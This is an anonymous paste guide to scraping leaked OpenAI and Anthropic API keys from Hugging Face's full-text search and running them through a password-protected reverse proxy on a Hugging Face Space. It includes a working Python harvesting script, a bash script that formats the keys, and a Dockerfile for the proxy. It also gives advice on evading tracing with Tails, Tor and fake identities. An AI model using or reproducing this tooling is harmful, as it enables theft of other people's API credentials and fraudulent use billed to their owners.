So you want to run your own little proxy and be one of the cool ones?
Here you go, Anonny.

Step 1: The Scraper:

Scroll down till you find [HFSCRAPE]. that's your scraping script.
if you're on Tails download it and run it with torsocks python3 [filenamehere].
it will output a file called key64.txt

Step 2: Prepare for Proxy:

Scrolls down to [SHELLSHIT]. in there is a BASH script that will turn your
key64.txt into a "output_file" file. in there is the same keys. except
in one huge line and with , (what're they called?) between the keys.

Step 3: Hop onto HF.

Create a new space and select "Docker". name it whatever.
In the text input that pops up next give the file the name "Dockerfile" and
put this in the file

FROM node:18-bullseye-slim
RUN apt-get update &&    apt-get install -y git
RUN git clone https://gitgud.io/khanon/oai-reverse-proxy.git /app
WORKDIR /app
RUN npm install
COPY Dockerfile greeting.md* .env* ./
RUN npm run build
EXPOSE 7860
ENV NODE_ENV=production
CMD [ "npm", "start" ]

Then click save or create or whatever the fuck.
then click space settings and add two secrets.
OPENAI_KEY should be set to the content of output_file created above.
PROXY_KEY should be set to your password of choice.

go back to the file overview and create a file called .env. add this
GATEKEEPER=proxy_key. that's how you make it password protected!

wait for it to build and give it a couple minutes to check keys. done!

How to not be an idoiot

I was going to put this at the start of the guide but anons can't read!
While many anonenomoneys will tell you that it's "overkill" and "uneeded"
I would recommend you

Download Tails and run it atleast a VM.

While baremetal is "better" we're mostly looking to have the account or scraping not traced
back to us rather than being "safe" from the feds. Use Virtmanager, QEMU or if you have to
VirtualBox.

How do I safely create an account on HF?

There is an endless amount of Tor compatible E-Mail hosters. choose one that looks legit.
in a couple of days Cock.li will be available without an invite which is nice.
avoid ProtonMail it's a honey pot.
now onto how

  • use an identity generator to generate a username, email, real name.
  • use Tor to create your email. then create an HF account using data above.
  • use a password generator to make a password.
  • keep ENCRYPTED notes of where you signed up so you can delete the accounts. Tails has built in tools for that.

[HFSCAPE]

import requests
import re

def append_to_file(filename, content):
    with open(filename, 'a') as file:
        file.write(content + '\n')

# Initialize an empty set to store unique keys
keys = set()

print("Starting to gather potential keys from Hugging Face's full-text search API...")

# Loop over the characters 'a', 'h', 'm', 'q'
for char in ['a', 'h', 'm', 'q', 'etk', 'ant', 'ant-api03']:
    print(f"Processing character: {char}")
    # Loop over the sequence of numbers from 0 to 900, step 100
    for i in range(0, 1000, 100):
        print(f"Processing sequence number: {i}")
        # Send a request to Hugging Face's full-text search API
        response = requests.get(f"https://huggingface.co/search/full-text?q=sk-{char}&limit=100&skip={i}")
        print(f"Sent request to Hugging Face's API with parameters q=sk-{char}, limit=100, skip={i}")
        # Extract potential keys from the response
        potential_keys = re.findall(r"(sk-.)</span>([a-zA-Z0-9]{47})", response.text)
        print(f"Found {len(potential_keys)} potential keys in this response")
        # Add each key to the set of unique keys
        for key in potential_keys:
            keys.add(''.join(key))
print(f"Finished gathering potential keys. Found {len(keys)} unique keys in total.")

# Initialize an empty list to store valid keys
valid_keys = []

print("Starting to validate keys with OpenAI's API...")

# Test each unique key
for key in keys:
    print("adding the following key to File " + key)
    append_to_file("key64.txt", key)

[SHELLSHIT]

#!/bin/bash

if [ $# -ne 2 ]; then
    echo "Usage: $0 input_file output_file"
    exit 1
fi

input_file="$1"
output_file="$2"

if  [ ! -f "$input_file" ]; then
    echo "missing input!"
    exit 1
fi

output_line=$(tr '\n' ',' < "$input_file")
output_line=${output_line%,}

echo "$output_line" > "output_file"
echo "DONE!"

nya nya nya. annonnies! R3Vlc3Mgd2hvJ3MgYmFjay4gQmFjayBhZ2Fpbi4KVGhpcyB0aW1lIEknbSB1c2luZyBhIGJldHRlciBwYXNzd29yZC4gdGhhbmtzIGZvciB0aGF0IHJlbWluZGVyLCBhbm9uIQ==

Edit Report
Pub: 13 Oct 2023 20:25 UTC
Views: 4734